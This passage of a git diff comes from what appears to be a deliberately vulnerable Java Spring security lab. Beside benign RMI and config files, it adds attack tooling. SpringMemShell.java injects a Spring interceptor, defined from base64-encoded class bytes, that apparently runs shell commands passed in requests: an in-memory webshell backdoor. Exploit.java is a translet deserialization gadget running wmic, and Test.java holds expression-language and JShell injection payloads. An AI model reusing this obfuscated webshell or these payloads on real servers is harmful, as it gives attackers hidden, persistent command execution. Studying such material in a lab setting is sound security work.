+ com.squareup.okhttp + okhttp + 2.5.0 + + + + + org.apache.commons + commons-digester3 + 3.2 + + + + + org.jolokia + jolokia-core + 1.6.0 + + + + + org.springframework.boot + spring-boot-starter-actuator + + + + + org.springframework.cloud + spring-cloud-starter-netflix-eureka-client + 1.4.0.RELEASE + + + + + com.fasterxml.uuid + java-uuid-generator + 3.1.4 + + + + + org.springframework.security + spring-security-web + 4.2.12.RELEASE + + + + org.springframework.security + spring-security-config + 4.2.12.RELEASE + + + + org.springframework.boot + spring-boot-starter-security + 2.1.5.RELEASE + + + + commons-net + commons-net + 3.6 + + + + + commons-httpclient + commons-httpclient + 3.1 + + + + + + org.mybatis.spring.boot + mybatis-spring-boot-starter + 1.3.2 + + + + + org.apache.velocity + velocity + 1.7 + + + + + com.thoughtworks.xstream + xstream + 1.4.10 + + + + org.apache.poi + poi + 3.10-FINAL + + + + + org.apache.poi + poi-ooxml + 3.9 + + + + com.monitorjbl + xlsx-streamer + 2.0.0 + + + + + org.jsoup + jsoup + 1.10.2 + + + + + commons-io + commons-io + 2.5 + + + + + org.apache.httpcomponents + httpasyncclient + 4.1.4 + + + + + + + + + + + io.springfox + springfox-swagger2 + 2.9.2 + + + + io.springfox + springfox-swagger-ui + 2.9.2 + + + + + org.projectlombok + lombok + 1.18.16 + provided + + + + org.yaml + snakeyaml + 1.21 + + + + org.springframework + spring-test + + + + junit + junit + + + + + + + + org.springframework.cloud + spring-cloud-dependencies + Camden.RELEASE + pom + import + + + + + + + + + org.springframework.boot + spring-boot-maven-plugin + + + + + + \ No newline at end of file diff --git a/src/main/java/com/Exploit.java b/src/main/java/com/Exploit.java new file mode 100644 index 00000000..8ece0a8c --- /dev/null +++ b/src/main/java/com/Exploit.java @@ -0,0 +1,33 @@ +//package com; +// +//import com.sun.org.apache.xalan.internal.xsltc.DOM; +//import com.sun.org.apache.xalan.internal.xsltc.TransletException; +//import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +//import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +//import com.sun.org.apache.xml.internal.serializer.SerializationHandler; +//import java.io.IOException; +// +//public class Exploit extends AbstractTranslet { +// private static String cmd = "cmd /c wmic process get caption,commandline /value > C:/DubboService/wmic_result.txt"; +// +// static { +// +// } +// public Exploit() { +// +// try { +// Process process = new ProcessBuilder().command(cmd.split(" ")).start(); +// } catch (IOException var3) { +// var3.printStackTrace(); +// } +// +// } +// +// public void transform(DOM var1, SerializationHandler[] var2) throws TransletException { +// } +// +// public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException { +// } +//} +// +// diff --git a/src/main/java/com/Exploit1.java b/src/main/java/com/Exploit1.java new file mode 100644 index 00000000..fddaaac9 --- /dev/null +++ b/src/main/java/com/Exploit1.java @@ -0,0 +1,15 @@ +package com; + +public class Exploit1 { + static { + System.out.println("[*] static block in Exploit1"); + } + + public Exploit1(){ + System.out.println("[*] public constructor Exploit1"); + } + + public static void main(String[] args) { + System.out.println("[*] main in Exploit1"); + } +} \ No newline at end of file diff --git a/src/main/java/com/SpringMemShell.java b/src/main/java/com/SpringMemShell.java new file mode 100644 index 00000000..8fa10569 --- /dev/null +++ b/src/main/java/com/SpringMemShell.java @@ -0,0 +1,84 @@ +package com; + +import org.springframework.web.context.WebApplicationContext; +import org.springframework.web.servlet.handler.AbstractHandlerMapping; + +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.LinkedHashSet; + +public class SpringMemShell { + static { +// injectMemShell(); + } + + static void injectMemShell(){ + + try{ + // 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性 + Field field = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts"); + // 2. 属性被 private 修饰,所以 setAccessible true + field.setAccessible(true); + // 3. 获取一个 ApplicationContext 实例 + WebApplicationContext context =(WebApplicationContext) ((LinkedHashSet)field.get(null)).iterator().next(); + + AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping"); + field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); + field.setAccessible(true); + ArrayList adaptedInterceptors = (ArrayList)field.get(abstractHandlerMapping); + + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + Class clazz = null; + try{ + clazz = classLoader.loadClass("com.feihong.ldap.template.DynamicInterceptorTemplate2"); + }catch(ClassNotFoundException e){ + try{ + String codeClass = "yv66vgAAADQBGQoAQQCDCACECQBAAIUKAEAAhgkAhwCICACJCgCKAIsIAIwLAI0AjggAjwoADwCQCgAPAJEJAJIAkwgAlAcAlQgAlggAlwgAmAgAmQcAmgoAmwCcCgCbAJ0KAJ4AnwoAFACgCAChCgAUAKIKABQAowsApAClCgCmAIsKAKcAqAoApwCpCACqCgAnAKsJAEAArAcArQgArgoArwCwCgCxALIHALMIALQHALUHAGMJALYAtwoAKQC4CgC5ALoHALsKALYAvAoAuQC9BwC+CgAxAL8HAMAKADMAvwcAwQoANQC/CADCCgDDAMQKAMUAxgcAxwcAyAoAOwDJBwDKCgCvAMsKAMwAzQcAzgcAzwEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAQYmFzaWNDbWRTaGVsbFB3ZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA3TGNvbS9mZWlob25nL2xkYXAvdGVtcGxhdGUvRHluYW1pY0ludGVyY2VwdG9yVGVtcGxhdGUyOwEACXByZUhhbmRsZQEAZChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7KVoBAARjbWRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEAAWsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAHaGFuZGxlcgEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADVN0YWNrTWFwVGFibGUHAJUHAFABAApFeGNlcHRpb25zBwDQAQAKaW5pdGlhbGl6ZQEABHZhcjcBACFMamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbjsBAARjb2RlAQAFYnl0ZXMBAAJbQgEABm1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAEdmFyOAEAIkxqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbjsBAAtjbGFzc0xvYWRlcgEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAEdmFyOQEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAAV2YXIxMQEALUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uOwcAzgcAswcArQcA0QcAvgcAwAcAwQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAMY2xhc3NDb250ZW50AQABZQEAH0xqYXZhL2lvL0ZpbGVOb3RGb3VuZEV4Y2VwdGlvbjsBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAARhcmdzAQASYmFzZTY0Q2xhc3NDb250ZW50BwDHBwDKAQAKU291cmNlRmlsZQEAIER5bmFtaWNJbnRlcmNlcHRvclRlbXBsYXRlMi5qYXZhAQAZUnVudGltZVZpc2libGVBbm5vdGF0aW9ucwEAK0xvcmcvc3ByaW5nZnJhbWV3b3JrL3N0ZXJlb3R5cGUvQ29udHJvbGxlcjsMAEYARwEABHBhc3MMAEQARQwAXgBHBwDSDADTANQBACJbK10gRHluYW1pYyBJbnRlcmNlcHRvciBzYXlzIGhlbGxvBwDVDADWANcBAAR0eXBlBwDYDADZANoBAAViYXNpYwwA2wDcDADdAN4HAN8MAOAARQEAAS8BABBqYXZhL2xhbmcvU3RyaW5nAQAHL2Jpbi9zaAEAAi1jAQADY21kAQACL0MBABFqYXZhL3V0aWwvU2Nhbm5lcgcA4QwA4gDjDADkAOUHAOYMAOcA6AwARgDpAQACXEEMAOoA6wwA7ADtBwDuDADvAPAHAPEHAPIMAPMA9AwA9QD2AQAnY29tLmZlaWhvbmcubGRhcC50ZW1wbGF0ZS5NeUNsYXNzTG9hZGVyDAD3APgMAEIAQwEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQMceXY2NnZnQUFBRElBR3dvQUJRQVdCd0FYQ2dBQ0FCWUtBQUlBR0FjQUdRRUFCanhwYm1sMFBnRUFHaWhNYW1GMllTOXNZVzVuTDBOc1lYTnpURzloWkdWeU95bFdBUUFFUTI5a1pRRUFEMHhwYm1WT2RXMWlaWEpVWVdKc1pRRUFFa3h2WTJGc1ZtRnlhV0ZpYkdWVVlXSnNaUUVBQkhSb2FYTUJBQ2xNWTI5dEwyWmxhV2h2Ym1jdmJHUmhjQzkwWlcxd2JHRjBaUzlOZVVOc1lYTnpURzloWkdWeU93RUFBV01CQUJkTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPd0VBQzJSbFptbHVaVU5zWVhOekFRQXNLRnRDVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjMHh2WVdSbGNqc3BUR3BoZG1FdmJHRnVaeTlEYkdGemN6c0JBQVZpZVhSbGN3RUFBbHRDQVFBTFkyeGhjM05NYjJGa1pYSUJBQXBUYjNWeVkyVkdhV3hsQVFBU1RYbERiR0Z6YzB4dllXUmxjaTVxWVhaaERBQUdBQWNCQUNkamIyMHZabVZwYUc5dVp5OXNaR0Z3TDNSbGJYQnNZWFJsTDAxNVEyeGhjM05NYjJGa1pYSU1BQThBR2dFQUZXcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjZ0VBRnloYlFrbEpLVXhxWVhaaEwyeGhibWN2UTJ4aGMzTTdBQ0VBQWdBRkFBQUFBQUFDQUFBQUJnQUhBQUVBQ0FBQUFEb0FBZ0FDQUFBQUJpb3J0d0FCc1FBQUFBSUFDUUFBQUFZQUFRQUFBQVFBQ2dBQUFCWUFBZ0FBQUFZQUN3QU1BQUFBQUFBR0FBMEFEZ0FCQUFrQUR3QVFBQUVBQ0FBQUFFUUFCQUFDQUFBQUVMc0FBbGtydHdBREtnTXF2cllBQkxBQUFBQUNBQWtBQUFBR0FBRUFBQUFJQUFvQUFBQVdBQUlBQUFBUUFCRUFFZ0FBQUFBQUVBQVRBQTRBQVFBQkFCUUFBQUFDQUJVPQcA+QwA+gD9BwD+DAD/AQABABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwcBAQwBAgBDDAEDAQQHANEMAQUBBgEAEGphdmEvbGFuZy9PYmplY3QMAQcBCAwBCQEKAQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgwBCwBHAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uAQBfQzpccmVwb3NcSk5ESUV4cGxvaXRcdGFyZ2V0XGNsYXNzZXNcY29tXGZlaWhvbmdcbGRhcFx0ZW1wbGF0ZVxEeW5hbWljSW50ZXJjZXB0b3JUZW1wbGF0ZTIuY2xhc3MHAQwMAQ0BDgcBDwwBEAERAQAdamF2YS9pby9GaWxlTm90Rm91bmRFeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwARgESAQATamF2YS9pby9JT0V4Y2VwdGlvbgwBEwEVBwEWDAEXARgBADVjb20vZmVpaG9uZy9sZGFwL3RlbXBsYXRlL0R5bmFtaWNJbnRlcmNlcHRvclRlbXBsYXRlMgEAQW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvaGFuZGxlci9IYW5kbGVySW50ZXJjZXB0b3JBZGFwdGVyAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAB2lzRW1wdHkBAAMoKVoBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAQamF2YS91dGlsL0Jhc2U2NAEACmdldERlY29kZXIBAAdEZWNvZGVyAQAMSW5uZXJDbGFzc2VzAQAcKClMamF2YS91dGlsL0Jhc2U2NCREZWNvZGVyOwEAGGphdmEvdXRpbC9CYXNlNjQkRGVjb2RlcgEABmRlY29kZQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7AQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQATamF2YS9uaW8vZmlsZS9QYXRocwEAA2dldAEAOyhMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL25pby9maWxlL1BhdGg7AQATamF2YS9uaW8vZmlsZS9GaWxlcwEADHJlYWRBbGxCeXRlcwEAGChMamF2YS9uaW8vZmlsZS9QYXRoOylbQgEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEAGGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwAhAEAAQQAAAAIAAgBCAEMAAAACAEQARQAAAAQAAQBGAEcAAQBIAAAARQACAAEAAAAPKrcAASoSArUAAyq3AASxAAAAAgBJAAAAEgAEAAAAFgAEABQACgAXAA4AGABKAAAADAABAAAADwBLAEwAAAABAE0ATgACAEgAAAFOAAQABwAAAJ+yAAUSBrYABysSCLkACQIAxgCNKxIIuQAJAgASCrYAC5kAfSsqtAADuQAJAgA6BBkExgBsGQS2AAyaAGSyAA0SDrYAC5kAGwa9AA9ZAxIQU1kEEhFTWQUZBFM6BacAGAa9AA9ZAxISU1kEEhNTWQUZBFM6BbsAFFm4ABUZBbYAFrYAF7cAGBIZtgAatgAbOgYsuQAcAQAZBrYAHQOsBKwAAAADAEkAAAAuAAsAAAAbAAgAHQAjAB4ALwAfADwAIQBHACIAXwAkAHQAJwCQACgAmwApAJ0ALQBKAAAAUgAIAFwAAwBPAFAABQB0ACkATwBQAAUAkAANAFEARQAGAC8AbgBSAEUABAAAAJ8ASwBMAAAAAACfAFMAVAABAAAAnwBVAFYAAgAAAJ8AVwBYAAMAWQAAABEAA/wAXwcAWvwAFAcAW/kAKABcAAAABAABAF0AAgBeAEcAAQBIAAABtgAHAAcAAACJuAAetgAfTCorEiC2ACG1ACKnAGdNEiROuAAlLbYAJjoEAToFEicSKAa9AClZAxIqU1kEsgArU1kFsgArU7YALDoFGQUEtgAtKhkFKwa9AC5ZAxkEU1kEA7gAL1NZBRkEvrgAL1O2ADDAACm1ACKnAAo6BhkGtgAypwAQTCu2ADSnAAhMK7YANrEABAAHABEAFAAjACQAbgBxADEAAAB4AHsAMwAAAHgAgwA1AAMASQAAAFIAFAAAADIABwA1ABEAQgAUADYAFQA3ABgAOAAhADkAJAA8AEIAPQBIAD4AbgBBAHEAPwBzAEAAeABHAHsAQwB8AEQAgABHAIMARQCEAEYAiABJAEoAAABcAAkAcwAFAF8AYAAGABgAYABhAEUAAwAhAFcAYgBjAAQAJABUAGQAZQAFABUAYwBmAGcAAgAHAHEAaABpAAEAfAAEAGoAawABAIQABABsAG0AAQAAAIkASwBMAAAAWQAAAEEABv8AFAACBwBuBwBvAAEHAHD/AFwABgcAbgcAbwcAcAcAWgcAKgcAcQABBwBy/wAGAAEHAG4AAEIHAHNHBwB0BAAJAHUAdgABAEgAAADWAAMAAwAAADQSNwO9AA+4ADi4ADlMpwAXTbsAO1kstwA8v027ADtZLLcAPL+4AD4rtgA/TbIABSy2AAexAAIAAAANABAAOgAAAA0AGgA9AAMASQAAACYACQAAAE4ADQBTABAATwARAFAAGgBRABsAUgAkAFUALABWADMAVwBKAAAAPgAGAA0AAwB3AGMAAQARAAkAeAB5AAIAGwAJAHgAegACAAAANAB7AFAAAAAkABAAdwBjAAEALAAIAHwARQACAFkAAAAQAANQBwB9SQcAfvwACQcAKgADAH8AAAACAIAAgQAAAAYAAQCCAAAA/AAAABIAAgCxAK8A+wAJAMwArwEUAAk="; + byte[] bytes = java.util.Base64.getDecoder().decode(codeClass); + + Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + method.setAccessible(true); + clazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length); + }catch (Exception ex){ + ex.printStackTrace(); + } + } + + adaptedInterceptors.add(clazz.newInstance()); + } catch (NoSuchFieldException e) { + throw new RuntimeException(e); + } catch (ClassNotFoundException e) { + throw new RuntimeException(e); + } catch (IllegalAccessException e) { + throw new RuntimeException(e); + } catch (InstantiationException e) { + throw new RuntimeException(e); + } + } + + public static void main(String[] args) { + Class clazz; + String codeClass = "yv66vgAAADQAKAoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCQAIAAkHAAoMAAsADAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsIAA4BAB9bKl0gcHVibGljIGNvbnN0cnVjdG9yIEV4cGxvaXQxCgAQABEHABIMABMAFAEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWCAAWAQAUWypdIG1haW4gaW4gRXhwbG9pdDEIABgBABxbKl0gc3RhdGljIGJsb2NrIGluIEV4cGxvaXQxBwAaAQAMY29tL0V4cGxvaXQxAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA5MY29tL0V4cGxvaXQxOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBABBNZXRob2RQYXJhbWV0ZXJzAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQANRXhwbG9pdDEuamF2YQAhABkAAgAAAAAAAwABAAUABgABABsAAAA/AAIAAQAAAA0qtwABsgAHEg22AA+xAAAAAgAcAAAADgADAAAACAAEAAkADAAKAB0AAAAMAAEAAAANAB4AHwAAAAkAIAAhAAIAGwAAADcAAgABAAAACbIABxIVtgAPsQAAAAIAHAAAAAoAAgAAAA0ACAAOAB0AAAAMAAEAAAAJACIAIwAAACQAAAAFAQAiAAAACAAlAAYAAQAbAAAAJQACAAAAAAAJsgAHEhe2AA+xAAAAAQAcAAAACgACAAAABQAIAAYAAQAmAAAAAgAn"; + byte[] bytes = java.util.Base64.getDecoder().decode(codeClass); + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + try { + + // defineClass + Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + method.setAccessible(true); + method.invoke(classLoader, bytes, 0, bytes.length); + + + // loadClass + clazz = classLoader.loadClass("com.Exploit1"); + + clazz.newInstance(); + } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException | ClassNotFoundException e) { + throw new RuntimeException(e); + } catch (InstantiationException e) { + throw new RuntimeException(e); + } + } +} diff --git a/src/main/java/com/Test.java b/src/main/java/com/Test.java new file mode 100644 index 00000000..8476f9f2 --- /dev/null +++ b/src/main/java/com/Test.java @@ -0,0 +1,67 @@ +package com; + +//import jdk.jshell.JShell; +//import jdk.jshell.SnippetEvent; + +import java.util.List; + +public class Test { + + public static void main(String[] args) { + /** + * ① 所有的数据类型修改为 var, 包括 byte[] bytes ( var bytes ) + * ② 必须使用全类名 + * ③ System.out.println() 需要修改为 print() + * ④ try{...}catch(Exception e){...} 需要修改为 try{...}catch(err){...} + * ⑤ 双引号改为单引号 + * ⑥ Class.forName() 需要改为 java.lang.Class.forName(), String 需要改为 java.lang.String等 + * ⑦ 去除类型强转 + * ⑧ 不能用 sun.misc.BASE64Encoder,会抛异常 javax.script.ScriptException: ReferenceError: "sun" is not defined in at line number 1 + * ⑨ 不能使用 for(Object obj : objects) 循环 + */ + + String payload = "''.getClass().forName('jdk.jshell.JShell').getMethod('create').invoke(null).eval('System.out.println(\"111\");')"; + String payloadTemplate = "{" + + "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + + ".newInstance().getEngineByName(\"JavaScript\")" + + ".eval(\"print('hello')\")" + + "}"; +// new javax.el.ELProcessor().eval(payload); + +// String jshellPayload = " String[] strs = new String[3];\n" + +// " if(java.io.File.separator.equals(\"/\")){\n" + +// " strs[0]=\"/bin/bash\";\n" + +// " strs[1]=\"-c\";\n" + +// " strs[2]=\"notepad\";\n" + +// " }else{\n" + +// " strs[0]=\"cmd\";\n" + +// " strs[1]=\"/C\";\n" + +// " strs[2]=\"notepad\";\n" + +// " }\n" + +// " java.lang.Runtime.getRuntime().exec(strs);"; + + String classCode = "Y3Fx"; + Class clazz = java.lang.Runtime.class; + String jshellPayload = "byte[] bytes = java.util.Base64.getDecoder().decode(\"" + classCode + "\");\n" + + "java.lang.ClassLoader classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + + "try{\n" + + " java.lang.Class clazz = classLoader.loadClass(\"" + clazz.getName() + "\");\n" + + " clazz.newInstance();\n" + + "}catch(java.lang.Exception e){\n" + +// " var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" + +// " method.setAccessible(true);\n" + +// " var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" + + " java.lang.Class clazz = java.lang.invoke.MethodHandles.lookup().defineClass(bytes);" + + " clazz.newInstance();\n" + + "};"; + +// JShell shell = JShell.builder().build(); +// List events = shell.eval(jshellPayload); +// events.stream().forEach(e -> System.out.println(e.toString())); + + +// new javax.el.ELProcessor().eval("Runtime.getRuntime().exec(\"notepad\")"); + + + } +} diff --git a/src/main/java/org/joychou/Application.java b/src/main/java/org/joychou/Application.java new file mode 100644 index 00000000..cbdd31c3 --- /dev/null +++ b/src/main/java/org/joychou/Application.java @@ -0,0 +1,22 @@ +package org.joychou; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.boot.builder.SpringApplicationBuilder; +import org.springframework.boot.web.servlet.ServletComponentScan; +//import org.springframework.boot.web.support.SpringBootServletInitializer; +//import org.springframework.cloud.netflix.eureka.EnableEurekaClient; + + + +@ServletComponentScan // do filter +@SpringBootApplication +// @EnableEurekaClient // 测试Eureka请打开注释,防止控制台一直有warning +//public class Application extends SpringBootServletInitializer { // Spring boot 1.5.1.RELEASE的写法 +public class Application { // Spring boot 2.6.6 的写法 + + public static void main(String[] args) throws Exception { + SpringApplication.run(Application.class, args); + } + +} \ No newline at end of file diff --git a/src/main/java/org/joychou/RMI/Client.java b/src/main/java/org/joychou/RMI/Client.java new file mode 100644 index 00000000..ba813a65 --- /dev/null +++ b/src/main/java/org/joychou/RMI/Client.java @@ -0,0 +1,21 @@ +package org.joychou.RMI; + +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; + +public class Client { + + private Client() {} + + public static void main(String[] args) { + try { + Registry registry = LocateRegistry.getRegistry("localhost"); + Hello stub = (Hello) registry.lookup("Hello"); + String response = stub.sayHello(); + System.out.println("response: " + response); + } catch (Exception e) { + System.err.println("Client exception: " + e.toString()); + e.printStackTrace(); + } + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/RMI/Hello.java b/src/main/java/org/joychou/RMI/Hello.java new file mode 100644 index 00000000..b4b23d3d --- /dev/null +++ b/src/main/java/org/joychou/RMI/Hello.java @@ -0,0 +1,9 @@ +package org.joychou.RMI; + +import java.rmi.Remote; +import java.rmi.RemoteException; + +// 定义远程接口 +public interface Hello extends Remote { + String sayHello() throws RemoteException; +} diff --git a/src/main/java/org/joychou/RMI/Server.java b/src/main/java/org/joychou/RMI/Server.java new file mode 100644 index 00000000..3cf6b653 --- /dev/null +++ b/src/main/java/org/joychou/RMI/Server.java @@ -0,0 +1,30 @@ +package org.joychou.RMI; + +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; +import java.rmi.server.UnicastRemoteObject; + + + +public class Server implements Hello { + + public String sayHello() { + return "Hello Word!"; + } + + public static void main(String args[]) { + + try { + Server obj = new Server(); + Hello stub = (Hello) UnicastRemoteObject.exportObject(obj, 0); + LocateRegistry.createRegistry(1099); + Registry registry = LocateRegistry.getRegistry(); + registry.bind("Hello", stub); + System.out.println("绑定1099端口成功"); + } catch (Exception e) { + System.err.println("Server exception: " + e.toString()); + e.printStackTrace(); + } + } +} + diff --git a/src/main/java/org/joychou/config/Constants.java b/src/main/java/org/joychou/config/Constants.java new file mode 100644 index 00000000..041f4f80 --- /dev/null +++ b/src/main/java/org/joychou/config/Constants.java @@ -0,0 +1,10 @@ +package org.joychou.config; + +public class Constants { + + private Constants() { + } + + public static final String REMEMBER_ME_COOKIE = "rememberMe"; + public static final String ERROR_PAGE = "https://test.joychou.org/error1.html"; +} diff --git a/src/main/java/org/joychou/config/CorsConfig2.java b/src/main/java/org/joychou/config/CorsConfig2.java new file mode 100644 index 00000000..6c1a8ef8 --- /dev/null +++ b/src/main/java/org/joychou/config/CorsConfig2.java @@ -0,0 +1,29 @@ +//package org.joychou.config; +// +//import org.springframework.boot.web.servlet.FilterRegistrationBean; +//import org.springframework.context.annotation.Bean; +//import org.springframework.context.annotation.Configuration; +//import org.springframework.web.cors.CorsConfiguration; +//import org.springframework.web.cors.UrlBasedCorsConfigurationSource; +//import org.springframework.web.filter.CorsFilter; +// +//// https://spring.io/blog/2015/06/08/cors-support-in-spring-framework +//@Configuration +//public class CorsConfig2 { +// +// @Bean +// public FilterRegistrationBean corsFilter() { +// UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource(); +// CorsConfiguration config = new CorsConfiguration(); +// config.setAllowCredentials(true); +// config.addAllowedOrigin("http://test.joychou.org"); +// config.addAllowedOrigin("https://test.joychou.org"); +// config.addAllowedHeader("*"); +// config.addAllowedMethod("GET"); +// config.addAllowedMethod("POST"); +// source.registerCorsConfiguration("/cors/getCsrfToken/sec_03", config); +// FilterRegistrationBean bean = new FilterRegistrationBean(new CorsFilter(source)); +// bean.setOrder(0); +// return bean; +// } +//} \ No newline at end of file diff --git a/src/main/java/org/joychou/config/CsrfTokenBean.java b/src/main/java/org/joychou/config/CsrfTokenBean.java new file mode 100644 index 00000000..b0698e12 --- /dev/null +++ b/src/main/java/org/joychou/config/CsrfTokenBean.java @@ -0,0 +1,18 @@ +package org.joychou.config; + +import 